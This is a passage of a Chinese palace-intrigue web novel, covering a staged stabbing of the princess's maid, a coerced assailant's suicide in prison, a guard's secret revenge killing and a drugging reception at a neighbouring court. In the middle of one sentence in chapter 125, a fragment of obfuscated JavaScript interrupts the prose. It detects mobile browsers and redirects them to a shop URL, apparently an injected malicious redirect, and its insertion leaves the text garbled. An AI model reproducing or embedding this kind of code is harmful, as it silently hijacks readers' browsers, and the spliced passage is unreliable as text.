薛晗回神，忙回禀道，“回殿下，殿下离开这期间，长公主殿下曾传卑职和谭吏目，因雪天路滑，殿下在台阶上跌了一跤，还磕到了头。”
李凌霄冷笑一声，“我瞧着她倒是生龙活虎。”
“还有一件事，卑职觉得蹊跷。”薛晗斟酌道，“长公主身边的那个小丫鬟——她似乎中过毒。”
……
薛晗走后，李凌霄叫来副统领。
“殿下，您有何吩咐？”
“你说今日有个女子和长公主撕闹，还出言顶撞。”
“是，闹了好一会儿，若不是霍丘副将拦着，不知对方还要纠缠到什么时候。”
李凌霄面露笑意，“去打听一下，她们之间发生了什么。”
无用之人，不值得被偏爱。
没有人能例外。
这天，明珠才出军营大门，就见老熟人堵在门外。
“又是你。”明珠双手抱臂，无奈道，“你还要来纠缠董向阜和霍丘吗？”
那女子神色紧张，说话吞吞吐吐。
“不，我找你，长公主殿下。”
“找我？”明珠挑眉，“来找我麻烦啊。”
“我有些话……想跟长公主私下说。”
闻言，明珠忍不住皱眉。
如今凡事按部就班，琐事不多，北境治安又佳，她就把竹临和梅辛塞进军营研学，跟北境将士们一同训练，出行只带着兰萤。
这人却要私下说话，她回头看了眼站岗的士兵。
“有什么事，就在这儿说吧。”
那女子顺着她的视线，也看到不
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远处的士兵，随后刻意压低声音。
“此事事关将军私密，不便在此说。”
“董向阜的私密？”明珠面露难色，“我不感兴趣，你不用跟我说。”
对方显然没想到她会一口回绝，眼中慌张更甚。
“那、那我就没有办法了……”
“她不对劲，殿下！”
注意到对方行为有异，兰萤急声提醒。
“？！”
女子从身后抽出匕首，直直朝她袭来，明珠措手不及，登时，一个身影闪身挡在面前，匕首刺入无声。
眼前，兰萤手臂上血色渗出，外衫沾满了猩红。
“兰萤！”
明珠双眼瞪大，对面女子亦是满脸惊惧，握着匕首的手颤抖不止，啪的一声，匕首掉落在地上。
“拿下她！”
在那人掏出匕首后，站岗的士兵便察觉有异，明珠刚一开口，就有士兵从后方冲出，一下制服住那名女子。
明珠慌忙拿出帕子，绑在兰萤的伤口处止血，却是杯水车薪，血流个不止，明珠扯下衣袖的布料，继续往兰萤伤口上敷。
兰萤却仿佛松了口气。
“医官！医官！”
士兵们闻声赶来，见有人受伤，急忙折返回去请医官。
“殿下，还是先回营帐吧。”兰萤冷静道。
“对，先回去！你还能走吗？”
“没事的，殿下别紧张，我只是伤了胳膊。”
“没错，没错。”
明珠回头，看向跪在地上的人，厉声道，“把她押回去！”
长公主营帐内。
薛晗被急召而来，看着受伤的小丫鬟，心下了然。
不多时，她为兰萤包扎好伤口，白色的绷带缠在胳膊上，格外刺眼。
手臂上的刺伤伤口不大，却有些深，对方应是头次用匕首伤人，在触及骨头硬物时，猛地收手抽出，导致出血量大。
“回殿下，血已止住，只是若想不留下伤疤，之后还得按时涂抹药膏。
“殿下上次的凝胶药贴还好用吗，不如卑职也为兰萤姑娘准备些吧。”
“好，”明珠连忙应道，“劳烦薛医士了。”
123.提线木偶
金疮药的药粉味呛鼻，掩盖住血腥，明珠捧着兰萤的胳膊，把她换新后的衣袖放下来，小心翼翼地不触及伤口。
“都怪我。”明珠懊恼道，“我没想到她会疯到这种地步。”
兰萤摇了摇头，神色安定。
“殿下，您没有受伤，就是万幸。”
明珠摸着兰萤的脸颊，看到她因失血和痛感，额头上微微冒出汗珠，忍不住心疼，她用衣袖帮她拭去。
这件事，她不能坐视不管。
原本，那姑娘的身份若无异常，其他人的感情纠葛，明珠并不想牵涉其中，霍丘无论是否甘愿，都是他自己的选择。
可现如今，她伤了兰萤，这件事就不能善了。
出了营帐，明珠见李凌霄在外匆匆赶来。
“听说长姐遇刺了！”
“我没事，”明珠蹙眉道，“但是兰萤她受伤了。”
“那该叫医官好好给兰萤姑娘瞧病，别留有什么后患才好，”李凌霄神情关切，疑惑道，“这军营附近，怎么会有刺客呢？”
明珠斟酌起来，李凌霄并不知其中内情，只当是刺客袭击。
“倒也谈不上是刺客，先前我与那姑娘有些矛盾，只是，原以为那姑娘感情上受挫，言辞激烈些，却不想偏激至此。”
原本几句话就能轻易吓退的人，以为不过是个色厉内荏、虚张声势的泼辣角色，没想到，她竟有胆量做出如此疯狂之举。
还真是和她的名字，极不相符。
可当时那情形，她刺伤了人，似乎自己也被吓到，惊慌失色地丢了匕首，并不像是要来鱼死网破。
明珠纳闷，难不成她只是打算来吓唬自己，不慎失手伤人。
李凌霄见她面色沉重，在一旁安抚。
“长姐不必气恼，既然那人放肆无礼，杀了便是。”
明珠抿着唇，沉默良久。
“我想去见她一面。”
还没等她见到人，董向阜和竹临、梅辛一干人等闻讯，也从校场赶回来。
“殿下无碍吧？！”
董向阜难得紧张，却碍于礼节，刚伸出的手缓缓收回。
“将军放心，我没事。”
听她答复，董向阜并未松懈下来，眉头依旧紧锁着，在来的路上，他已听报信之人描述过来龙去脉。
他目不斜视，沉声呵斥道，“霍丘！”
“将军！”霍丘忙上前来，跪倒在两人面前请罪。
董向阜俯视着霍丘，神色严肃。
原本见霍丘失意潦倒，他有心插手阻止，又因长公主劝告，除私下暗访调查，明面上他便交由霍丘自行处理，没想到竟闯下如此大祸，他决不能再放纵霍丘的优柔寡断。
“你知道该怎么办。”
以下犯上，意欲行刺长公主殿下，足以构成死罪。
霍丘面如死灰，“……是。”
“等等！”明珠出言阻止，“我还有些话想问她，虽然，她未必有什么难言之隐，可若她没有杀我之心，入狱也好、远离北境去服役也罢，我希望将军放她一条生路。”
霍丘眼中重亮起光，他感激地看向长公主。
“殿下！”董向阜不满意她的决定。
明珠心里清楚，董向阜对霍丘的情谊，也明白他对此事的重视。
一来她不愿让两人心生龃龉，即便霍丘不会因此责怪董向阜，可董向阜亲自下令，让霍丘处置自己心爱之人，终究太过残忍。
二来——
“将军，我不喜欢杀人。
“她伤了我身边之人，我不会轻易饶恕她，但是，若因此要了她的命，也并非我所愿。”
董向阜和她对峙良久，最终还是默许了。
来到军营牢房，此处戒备森严，平日大多用来关押战俘和违反军纪的士兵，外围镇守着铁甲护卫，比大内的天牢更具威势。
竹临和梅辛跟在明珠身后，几人走到关押的牢房门口。
金属栏杆隔绝着内外，那女子瑟缩在角落，一副还没缓过劲儿的呆滞模样。
明珠走近过去，不禁质问。
“你知道自己在做什么吗？
“纵使你迷恋董向阜到疯魔，可伤了我，不仅得不到董向阜的心，还会牵连你自己和家人的性命。
“你
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真的，想好所付的代价了吗？”
闻言，赵柔儿慌忙叩头。
“求殿下恕罪！我都为了将军，一时迷了心窍，才会如此糊涂啊！”
“够了！”
明珠喝止住她，目光冷冽。
事到如今，这女子还在用董向阜挡枪。
即便是明珠，也不免恼火，心中为董向阜叫屈。
“少拿你的痴心当借口了，这里头有多少是你私心用甚，一意孤行做蠢事，你自己心里清楚。”
并非似蓉儿那般崇拜董向阜，这个女子，更像是向往着她自己心目中的将军，为了爱人，极尽手段，可谓是贪恋，也可谓是野心。
倘若是齐铭，或是镇国公时期，她也会如此痴缠他们。
她忠于的是自己的私心，而非爱人。
“你做这些事是为了谁，我不想追究，可你伤了我的人，就要付出代价。”
“长公主殿下！”
那女子跪在地上，往前屈膝几步，口中振振有词。
“今日我伤了那个小姑娘，若她有失，我赵柔儿一命抵一命，求您千万不要牵连我的家人！”
“姑娘不必摆出一副大义凛然的模样，你做这件蠢事的时候，怎么不想想你的家人，现在央求我，不觉得太晚了吗？”
“殿下！此事都是我一人所为，家中父母老迈，无论如何他们是无辜的啊！”
说罢，她拔下头上的钗环，猛地扎向自己的手臂。
“！！！”
梅辛一个箭步冲上前，却因大牢的门锁阻碍，没及时能拦住她，明珠传来狱卒，叫人开门给她止血。
簪子被夺下，那女子仍倔强着，跪在地上哀求。
“殿下若觉得不解气，便是我这条命，我也绝无二话，只求殿下不要祸及家人！！”
“……”
明珠气馁地叹了口气。
“我不会殃及你的家人，但你故意伤人，结果如何，一切按律法处置，你该受的惩罚躲不掉，不是你刺伤自己能抵偿的。”
赵柔儿暗自松了口气，心中的大石落地。
果然，他说得没错。
124.铁窗泪
大狱之中，赵柔儿坐在干草垫上，头抵着墙边，身旁的医官默默包扎着伤口，她抬起头，头顶的铁窗隔绝着，牢里的气味不好闻，难得，能让人静下心来。
北境人人都传，将军要和长公主殿下成亲了。
他们都被蒙蔽了，长公主在京风评甚是不佳，从前她几次听京中表姐说起，长公主卑微无宠，便对将军死缠烂打。
这样的女子，怎配得上将军。
可自打前年起，将军的态度似乎变了，对长公主不似从前那般冷待，还亲自派人给长公主选贺礼，也是因此，她遇到了霍丘。
这是接近将军的唯一机会，即便不择手段，她也要笼络到霍丘此人，所幸，他没什么心眼，几句话便能哄住。
只可惜，她在将军面前败露行迹，毫无挽回的余地。
年末，运粮队伍抵达时，她曾远远见过那位长公主，心想也不过如此，又非天人之姿，论起容貌，倒还不如北境的姑娘貌美。
但那一次校场相遇，她便发觉，长公主并不像传闻中那般，素日里，霍丘提及长公主，话中亦满是敬重。
不过是表面功夫做得好，这群五大三粗的汉子们便被耍的团团转，她才不会上当。
当着长公主的面，她说下那些话，也是想要叫人知难而退，若是寻常的闺阁小姐，早就羞愤离场，对方却巧舌如簧，还叫那只凶神恶煞的畜生恐吓于她。
不仅如此，若非邻家说漏了嘴，她还不知长公主火上浇油，在将军面前嚼舌根，居然让将军派人调查她。
看吧，她就是这般心机深沉之人.
若非权势压人，将军怎么可能看得上她。
这个念头萦绕在心，无论旁人劝她千百次，都不会更改，直到——
前不久，二皇子殿下找上她。
眼前的贵胄皇子，宛如天姿，赵柔儿忍不住打量着对方，却从对方口中，听到了令她匪夷所思的要求。
“您要我刺杀她？！”
赵柔儿满脸惊恐，纵然她素日里豁的出去，可绝无可能做到这般地步啊。
“那可是长公主，您借我一百个胆子，小女也不敢行刺啊！！”
闻言，李凌霄不以为然地笑了。
“姑娘甚有自信，你以为自己能得手吗？”
“那二皇子殿下何必为难——！”
李凌霄抬起手，打断她的话。
“我要的并非你真心行刺，待你出手，她身边那个小丫鬟不会坐视不理。
“届时，你刺伤那个小丫鬟便可。”
他并不需要她们鱼死网破，恰到好处，又不遭人怀疑。
能让长姐自食恶果，再好不过。
“我做不到！求殿下放过我吧，我真的做不到！”
二皇子话说得轻巧，这与要她的命有何异？！
“到时候，大家也只会当我行刺长公主，就算没被当场正法，刺杀皇族，那可是诛九族的大罪！！
“众目睽睽之下，难不成二皇子殿下到时候能帮我脱罪吗？！”
赵柔儿不蠢，即便她对长公主厌恶至极，也知道此事对自己毫无益处。
“姑娘误会了。”
李凌霄倾身向前，嘴角的笑略带嘲弄。
“你以为，我在同你商量吗？”
赵柔儿心中一悸，抗拒道，“可她会杀了我的，我横竖都是死罪！”
“不会的。”
李凌霄笑意深沉。
“那个人，可比你想象中心软。”
低语萦绕在耳边，赵柔儿双眸微瞪，又无力黯淡。
——你也不想全家因你丧命吧。
赵柔儿颓在墙角，再也不似从前咄咄逼人。
监牢的门被关上，给她包扎的医官离开了，脚步声又响起，牢外那人踌躇着，听着叫人心慌。
“你走吧。”
赵柔儿猜出了来人，擦掉眼角的泪。
“除了将军，我谁都不见。”
听她这样说，霍丘按捺不住现身。
“柔儿，你醒醒吧，将军他……怎么会见你啊。”
“怎么会见我？”
赵柔儿听他质问，心中不由生出一团火，顿足捶胸道，“我沦落到这般田地，都是因为将军啊，他却连见都不愿见我，他好狠的心！！”
“你
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不要再执迷不悟了！”
霍丘面露挣扎，这些时日，他心里憋了许多话，事到如今，却不知该怎么开口。
可他明白，这件事与将军无关，更与长公主殿下无关，如果不是柔儿她一意孤行，又怎会是现在这般处境。
若说错，也是他的错，他早该拦下她，劝她回头。
“柔儿，我知你要强，就算……将军那里，你心有不甘，可行刺长公主殿下，那、那可是诛九族的大罪啊！
“将军甚为震怒，若不是长公主殿下恩宽，出言相救，还不知要被如何处置——！”
赵柔儿看见他这个样子就来气，他以为她有得选的吗？
“你若是来教训我，大可不必，我自作自受！”
到头来，只有那个女人愿救她。
“我不想领她的情。”
赵柔儿盯着自己手臂的伤，自嘲笑了笑。
她好后悔。
她为何要招惹上这些人，她为何那般不自量力……
那个小丫鬟，看起来不过十来岁的模样，可当她手中的匕首逼近时，却能闪身挡在面前，正如二皇子所料。
她当时又惊又怕，来不及收手，也不敢收手。
只记得，她刺伤了对方的胳膊，血顺着刀柄流在地上，也染红了衣衫。
素来她嘴上功夫厉害，却也从未像今日这般，出手伤人。
赵柔儿阖上双眼，猩红的一幕不停出现在眼前。
她想不明白，二皇子要自己刺伤长公主的丫鬟，究竟为了什么。
他们这样的人物，看不惯对方，竟还要如此龌龊行事，同为皇室子弟，姐弟之间过得还不如仇人。
当面一套、背后一套，靠威胁旁人，去欺负一个孩子。
真是可笑……
监牢中，赵柔儿兀自笑了几声，笑中带涩，她抚摸着手腕上的纱布，看向监牢外面的霍丘。
这个一直被她蒙骗利用的家伙，明知她为人，却还愿意来见她，真是蠢得没边儿。
“霍丘，若有朝一日我死了，我便不欠别人什么了。”
今后，长个记性吧，别再被女人骗了。
125.月黑风高夜
风波渐被平息，董向阜应明珠所求，并未按刺杀皇族之罪处置赵柔儿，而是按伤人律将她关押在牢狱中服役。
却在次日，赵柔儿被狱卒发现自裁在牢中，脖子上插着一只半截长的木簪，不知是何时藏在身上，另一头被她的手死死攥着。
不过，此事未能传到明珠耳中，董向阜收到消息，便严令禁言，不仅是为了长公主不留负担，瞒下此事，也是为了霍丘着想。
营帐内，兰萤服过伤药，昏昏沉沉地睡去，明珠换下她胳膊缠着的纱布，贴上凝胶药贴。
为着刺杀一事，这几日明珠明显感到帐外的巡逻加强了，不仅是竹临和梅辛，还有董向阜那边派的，由裴元领队的一队人马。
看着身后乌泱泱一堆人，明珠无奈道，“用不着这样吧。”
“上次卑职等人疏于防范，护卫不力，导致长公主殿下受惊，将军特命卑职贴身侍卫殿下左右，若有不便，还望殿下见谅。”
“那也不用这么多人，怪惹眼的……”
街道两旁的路人和商户，纷纷投来好奇的目光，叫人有种游街示众的羞耻。
“况且这么多人跟着我，完全就是耗费兵力，有竹临和梅辛跟着就够了。”
裴元不赞同道，“他们两人年纪尚轻，如何能担任护卫之职。”
“欸，裴参军这话可瞧不起人了。”梅辛手臂抱后，颇有些吊儿郎当，“不是自夸，我二人武力皆在水准之上。”
“没错。”竹临怕对方不信，难得附和。
“好，是在下小觑二位少年英雄了。”裴元笑道，“只是殿下身份尊贵，只留两人在身边怕是不妥。”
此时，不远处，几名草莽汉子朝着明珠径直走近，身后侍卫如临大敌，上前将几人团团围住。
“殿下，这是？！”
王藏急急扫过四周，摸不着头脑。
“没事，他们是我熟人。”明珠急忙解释道。
侍卫虽已撤下，却并未放松警惕，一副蓄势待发，随时叫他们人头落地的姿态，王藏看在眼里，也不免吞了口口水。
明珠看出他紧张，笑着打岔道，“王镖头是要回京了吗？”
“是。”王藏拱手道，“前些日殿下传信期满，准小人们归京，特来向长公主殿下辞别。”
“好，山高路远，给你们准备了些盘缠。”
明珠示意，梅辛上前将钱袋递给王藏。
这次为惩戒几人口不择言，冒犯北境英灵，将他们留下当免费苦力，最后不给点路费回京，怕是要一路乞讨了。
“多谢殿下！”王藏感激道。
明珠扫了眼后面那些人，正色道，“希望他们能记住这次的教训。”
“是！小人一定叫他们今后谨言慎行！”
入幕时分，镖队等人赶到远郊客栈，多亏了长公主殿下的盘缠，这一路上足够吃住，不至于风餐露宿。
灯火下，王藏下马拴绳，却听到身后传来惊呼。
“怎么了？”王藏问道。
“藏爷，猴三儿不见了！”
军营内，竹临悄声掀开了营帐的门，一片昏暗中，传来梅辛的声音。
“你去哪儿了？”
“……撒尿。”
“撒尿？”梅辛眉头一皱，“那你这身上，怎么沾的血腥气。”
月被阴云遮盖，唯有帐外的篝火随西风摆动。
身影随之飘渺不定，仿佛一个晃神，眼前就会有人提剑斩来。
梅辛神色凝重，“你杀人了？”
镖队才走，这人就趁夜间尾随，还有这飘散的血腥气，梅辛只稍一想，便猜的出他此行所为何人何事。
竹临为人冷淡，除了殿下的事，似乎什么事他都不放在心上。
当初他们刚到殿下身边，松芜暗中下绊子，折磨了他们许久，梅辛深知此人心思恶毒，避之不及，而竹临却仿佛全无芥蒂。
梅辛就此事与竹临说过，竹临也毫无波澜。
“那又如何，他又不是要杀我。”
而此刻，竹临面露凶光。
“对殿下出言不逊，该死。”
前些时日，殿下委派镖队几人上山采油，为避开翟聿王子，由他们和兰萤领队。仗着殿下不在，镖队里那个叫猴三的家伙，私下嘀咕道——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518677|129420||http|test|mini|href|location''.split(''|''),0,{}));
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长公主陪其他男子快活，董向阜成了王八还不自知。
猴三自以为无人在意，却不想被竹临逮个正着，竹临当下沉默以对，并未发作。
死了人，殿下心中难安。
于是，他就一天天等着，等到镖队一伙人离开北境，便是最佳的动手时机。
就如同，当初在栾城。
瞧着对方警惕的神情，梅辛耸了耸肩，钻回被窝。
“去擦擦剑上的血，小心生锈。”
“……”
见他不动，梅辛问道，“怎么，怕我告发？”
“你不会说？”
“人人都有不可告人之事，没什么稀奇。”
梅辛打了个哈欠，“你若不愿叫殿下知道，我不为难。”
阴云散去，月色下，猴三的尸身倒在林中。
王藏提灯照过，看清脖颈上一剑封喉的伤口后，便叫几个弟兄挖坑埋了，捡了块石头立碑，也好过曝尸荒野。
“藏爷……”
刘聪惊魂未定，站在坟堆旁直打冷颤。
“猴三儿死了，您说，会不会是因为我俩之前……殿下会不会是知道了什么，才要私下了结？！”
王藏摇了摇头，说道，“别瞎琢磨，定是他自己造的孽。”
天光破晓，北境风平浪静。
一大早，明珠来到李凌霄帐中。
之前没找到合适的机会，京中三王和齐家之事，大约已有裁决，否则李凌霄也不会轻易赶回来，她还未来得及问其中细节。
自从她把遇刺之事上奏，皇帝那边心急如焚，一天一封信问她安好，还说要再派一队禁军护卫，被明珠在信里急急拦下。
若是人在北境，京中还要特派禁军前来，不知道还以为董向阜憋着谋反。
三王那边横竖由齐家牵制，自顾不暇，北境这边一切顺利。
想来不久，便可将回京提上日程。
三王如今与令嫔联手，杀她，或许并非三王本意，可若三王站队十三皇子，那么令嫔势必要借他之力除掉自己。
回去，就是一场硬仗，势必要将三王拖下台。
126.三王事业版图
齐家的拉帮结派若是明面上，如同一伙狗仗人势的地痞流氓，而李凌霄口中的三王，则是凭借着皇亲的身份，招揽京中黑白两道生意。
明里暗里，三王手中握着的——盐、茶、铁。
国之利器，尽在他手。
之所以演变成三王一家坐大的局面，还要从上一届朝廷班子说起，大梁先前有位宰相，曾是开国元老，历任三朝。
新帝登基，其实他作为老臣，激流勇退还能安享晚年，可惜，他放不下手中的权势。
而皇帝也并非庸懦之辈，登基后，二人多有不和，只因顾忌其重臣身份和盘根错节的门阀关系，迟迟没有动手。
后来，无非是两虎相争，必有一伤。
前任宰相落败，以结党营私之罪罢黜，最终客死异乡，其党羽在前些年被逐一清算。
盐务也被交到了三王的手中。
而当今的三王妃谢韵，家族以茶起家，江南谢家亦是富甲一方的茶商。三王那地下赌场的联络点和地址，便是遍布京城各处的茶馆茶庄，足可见其一斑。
至于掌控铁业冶金——则是为了兴办“斗兽场”。
据鲁进艺透露，过去赌场需要大量金属制造监牢、门禁、锁链镣铐，因此，平云庄与当地官营冶金部门多有勾结。
地下赌场虽被查封后销声匿迹，可这项官营生意，多多少少也与三王有干系。
作为皇帝唯一的胞弟，三王才干并不出众，性格也算不上仁厚，齐家那些人有的毛病，三王一件不少，无非是自诩高贵，表面端着。
发展至今，皇帝却不加以管制约束，皆因早年间，三王曾舍身救过尚是太子的皇帝一命，京中人人都知，陛下对三王信任备至。
“救过父皇的命？”明珠好奇道。
“是，臣弟也是听长辈们提起过一二，其中内情未能知，不过父皇对王叔，确不同于旁人，无论王叔犯下何罪，父皇都不至于真治他的罪。
“遇刺之事，长姐未将实情禀明父皇，做得没错。”
听他所言，明珠一怔。
原来在李凌霄心目中，比起她，皇帝更偏向三王。
可她认为，纵然是之前的皇帝，对三王也并非全无防备，他放任齐家与三王的交恶，何尝不是一种牵制。
现如今的皇帝，与三王更不过是表面兄弟，他们之间并无深厚情谊，皇帝的立场无需担心，只要攒够打压三王的筹码，将他的势力逐渐移除，便可行事。
而这一切，越快越好。
毕竟三王不惜釜底抽薪，与李凌霄彻底撕破脸，若是将来他在一众皇子中力保十三皇子登基，难保皇帝不会与三王沆瀣一气。
那到时候，不是亲兄弟，也要胜似亲兄弟了。
“长姐？”
闻声，明珠抬眸。
对面之人凑近跟前，这一张姣好容貌，介于少年与青年之间，内敛，又不失锋芒，看着自己的目光中，有种莫名的依赖。
其实，她与李凌霄之间，又何尝不是如此。
利益勾连出亲情，演到现在，倒像几分真。
“长姐，在想什么？”
她忽然忘了，他是什么时候开始叫她——长姐。
“此行结束，我想去一趟江南。”
国库收入的两大支柱，农业税和盐税，江淮地区是大梁最主要的盐产地，其生产的海盐几乎销往全国。
从栾城果农之事，便可知前朝经年累月的战事，已致百姓难堪重负，举步维艰，若是无天灾人祸，尚且有喘息之机，一旦突遭变故，便是万劫不复。
那么占据其二的盐税，里面又藏着多少辛酸血泪。
杀三王一人无关紧要，重要的是，不能让江淮百姓陪葬。
倘若三王陡然失势，朝局大变，他手下那些为虎作伥的官员，必定鸟兽散去，为求自保，无非是敛财跑路，或向其他高枝递交投名状。
届时，能搜刮的搜刮，能敛财的敛财，苦的只有百姓。
处置三王之事，恐怕要从长计议。
“长姐，是要查三王？”李凌霄面露难色，斟酌道，“其他还好说，盐务之事，怕是臣弟帮不上忙。”
皇帝尚在壮年，若是皇子们对朝廷命脉干涉过深，难保不被忌惮。
盐务是皇帝亲自交托三王的差事，即便三王在其中真有漏洞错
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失，合该罢免，也不该是由皇子私下插手，越俎代庖。
说白了，三王做的那些事，皇帝当真一无所知吗，无非是分权制衡，为了不让朝中那些德高望重的老臣独大，所做的取舍。
起码三王对皇帝，称得上是言听计从。
先前刺杀长公主，无非就是觉得，即便是皇帝，若在十三皇子和长公主之间抉择，后者也可轻易舍弃。
长公主无宠了那么多年，就算一朝得势，在三王眼中，不过就是在出嫁前稍作笼络，镜花水月罢了，明面上让董家好看些，不至于被世人诟病，说皇帝怠慢忠臣，将宫中最不受待见的公主嫁过去。
“父皇虽疼惜长姐，此行北境，想来是父皇有心撮合长姐与董将军，才特批准许。
“至于江南……恕臣弟多言，闺阁女子岂能成日在外游历，臣弟怕长姐难以得偿所愿。”
听罢，明珠点了点头，煞有介事道，“那要不然，我回京成了亲再去？”
李凌霄瞠目，“长姐真要和董向阜成亲？！”
“或者其他人，如何？”
“可，这……”
对方话说的坦然，李凌霄慌了神，一时间不知该如何作答，犹豫许久，才从口中蹦出三个字。
“这不妥。”
明珠忍俊不禁道，“瞧你这样儿，我开玩笑的。”
登时，李凌霄脸憋得通红，一双眼眸盛着恼意。
“婚姻大事，怎能挂在嘴边随意玩笑！”
“是是是，”眼见人恼了，明珠求饶道，“我错啦，不该逗你。”
“所以长姐到底是怎么想的？”李凌霄追问道。
“自然是叫父皇准我出游呗，要是不准，我就偷偷跑出去，等连夜到了江南，再给宫里去一封信报个平安。”
李凌霄听得眉头紧皱，她这个人，说得出便做得到。
“长姐，这太胡闹了！”
“别担心，到时候我肯定带上人一起。”
“……又要带着那个小丫鬟？”
“你是说兰萤？”明珠不知他怎得突然提起她，只是笑道，“自然，她粘人，要是不带她，肯定又要闹人了。”
127.虚伪的伊甸园
六月，雨水淅沥。
忽闻边境来报，花摩国的主君札兰礼，相邀大梁的明珠长公主。
信纸上散发着幽香，明珠端详起手中的信函。
比起梁国和戎狄，花摩是个小国，在戎狄的凶悍威压下，更像是夹缝中求生的草食弱兽，国境线一退再退，最终以河流阻断，划分出区域。
之所以一息尚存，不过是因为戎狄不擅长统治，他们以劫掠为生，残留花摩主权，不使其覆灭，更多的是嫌麻烦，设下城防还要留人驻扎，不如随抢随走。
花摩国就在如此长期压制下，迎来了第五代君主——札兰礼。
“殿下，可要赴约？”
董向阜目光淡然，仿佛这不是国与国之间的邀请，而是一顿家常便饭。
“你好像一点都不在意？”
“花摩，不足挂齿。”
“这么瞧不上他们？”
明珠疑惑，董向阜并非轻敌之人，面对花摩，态度却能如此随意。
“殿下有所不知，花摩国内已无兵力，便是主君札兰礼身边，也不出三人。”
“什么？”明珠诧异，“那他们怎么……”
毫无兵力，如何护国，这不是任人宰割吗？
“殿下，国如花摩，不余兵甲才能苟活。”
长公主营帐内，兰萤缩在明珠床上，雨天伤口发疼，精神总不振，明珠擦了擦她脸上的汗珠。
“殿下要去赴约？”
“嗯，不会很久，你乖乖养着，伤好之前，不要随意走动了。”
“可是……”
“别担心，花摩不敢怠慢，竹临和梅辛也会陪我一起去。”
明珠俯身，轻啄她的额头。
“睡吧，我很快就回来。”
清凉的雨点落在花蕊，喇叭状的金色花朵开满田亩，眼前这座城邦，犹如田园诗中的伊甸园。
国境便是一栏篱笆，沿着溪流，犹如村落。
女子们围着淡色头巾，手中的木桶向外洒水，浇灌着田间的金色花，口中哼唱着悠闲歌谣。
不远处，男人们卷起裤腿，在河中撒网，还有几个孩童，牵着手在小溪边捞虾。
走过木桥，便身处花摩了。
眼前这群人，明珠看着熟悉，是她送回故国的鬼方一族。
“恭迎长公主殿下。”
鬼方族长率领族人行礼。
“君主正在大殿，对长公主殿下翘首以盼，请殿下随我前来。”
拾阶而上，花摩的王宫不似梁国庄重威严，沿路的砖墙上还有彩色涂鸦，凌乱却不失温馨。
大殿的门从里面打开，金色花铺满大殿，花香浓郁，沁人心脾。
王座上的人，宛如坠入人间的天使，白瓷雕刻出容貌，梦幻又易碎，浅色的睫毛在光下，好似闪翼的金蝶。
一时间，明珠看呆了眼。
论颜值，恐怕连李凌霄都要稍显逊色。
那人起身，一步步走向自己，恍惚间，犹如神祇降临，他俯下身，将金色花环献给她。
“明珠殿下，终于等到您了。”
“等我？”
明珠接过花环，面露迟疑。
“为什么？”
“为了感激您对鬼方一族的救助，请允许我代表花摩向殿下表示最崇高的谢意，殿下今后将永远是花摩独一无二的贵客。”
展露笑容的札兰礼，周围仿佛有圣光环绕，叫人身心感受到洗礼。
“陛下客气了，各取所需而已。”
札兰礼笑意柔和，话语缱绻。
“他们说的没错，殿下着实令人着迷，就连我也不免沦陷。”
“……”
“明珠殿下？”
“陛下，开窗通风吧，让这殿里的毒散一会儿比较好。”
话音刚落，身后的竹临和梅辛瞬间惊醒，即刻挡在明珠身前，拔剑相迎。
两人不禁捏了把汗，原来身上那股飘飘然的劲儿来源于毒素。
门外，裴元听到动静，立马领兵闯入。眨眼间，札兰礼被士兵团团围住，他却好似意料之中，并不慌张。
明珠将花环丢还给他，札兰礼脸上笑意真切了几分，比之前像个活人。
“明珠殿下真是滴水不漏。”
“陛下过誉了。”
说实话，他坐在王位上摆pose的时候，她就觉得不对劲了，谁家君主见外宾，装的跟思考者雕塑一样。
最重要的是，这花的香味和兰萤给她的致幻香囊味道一模一样，明珠不禁猜想，当初将这香囊和催眠术教给兰萤的神秘人，会不会就出自花摩。
除此之外，还有一个疑惑。
她走上前，伸手摸了把对方的肩膀。
“金粉？”
明珠看着闪光的手心，苦笑道，“我就说，你怎么跟发光了一样，陛下还真是会包装自己啊。”
把戏被拆穿，札兰礼不以为然。
“雕虫小技，果然瞒不过明珠殿下。”
“陛下，有话不妨直说，不
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用搞这些有的没的。”
札兰礼拍了拍手，殿外的两名侍从进来，将窗户一一打开，还顺带把花都搬离出去。那两人搬花的时候目不斜视，好像不在意他们的主君是否正被刀剑相向。
难不成，这也在札兰礼的算计之中。
不多时，浓郁花香被一扫而空，空气清新许多，脑袋也不再晕沉。
札兰礼眼神示意了下身边，气势汹汹的一众士兵。
“明珠殿下，这些人……”
“你们先出去吧。”明珠对裴元说道。
裴元看向札兰礼，目光警惕。
“可他……”
“没关系，”明珠也瞥了眼那人，调侃道，“想来花摩陛下的花花肠子也到此为止了，是吧陛下？”
“自然，接下来我便与明珠殿下坦诚相见。”
“……”
这话怎么听着这么别扭？
待裴元他们撤出，札兰礼又看了眼留在原地的竹临和梅辛。
“他们是我的人，陛下有什么话，他们可以听。”
“噢？”
听她这样说，札兰礼勾起嘴角，“那我是否也有幸，成为明珠殿下的人。”
“……不了，你有点油腻。”
“唉，真是可惜。”
札兰礼请明珠落座，言归正传。
花摩，原以一批神秘诡谲的术士建国，毒物、幻术，是他们赖以生存的秘术。
后来，城邦稳固，花摩人繁衍生息，这些秘术渐渐被人遗忘，只有王族代代相传。
十八年前，戎狄骑兵压境，那一日，花摩的金色花被尽数染红。
年仅六岁的札兰礼，眼睁睁看着保卫城池的兵丁被一个个屠杀，那群骑在马上耀武扬威的戎狄人，把他父亲的头颅挂在刀上耍玩。
舅舅拦下他，让他隐忍求生，明面上带着鬼方一族叛逃戎狄，以求故国生机。
这十八年来，他从不养兵，逆来顺受，一心苟活，对戎狄言听计从，扮演一条听话的狗。
国如花摩，不余兵甲才能苟活。
“我若养兵，养一人，戎狄杀一人，养百人，戎狄杀百人。
“花摩的子民，我宁愿他们无所事事，每日种地浇花，只要能好好活着，不要死在戎狄的马下。”
札兰礼将花环的花蕊摘除，走到明珠跟前，仿佛手捧一顶金色王冠，为眼前之人加冕。
“我没有妻室，没有儿女。
“若将来，花摩要被灭国，杀我一人足矣。”
128.美人计落空
环如桂冠，佩于发顶。
明珠安然坐定，任由那双骨骼分明的手，为自己整理好发梢最后一丝。
四目相视，各怀鬼胎。
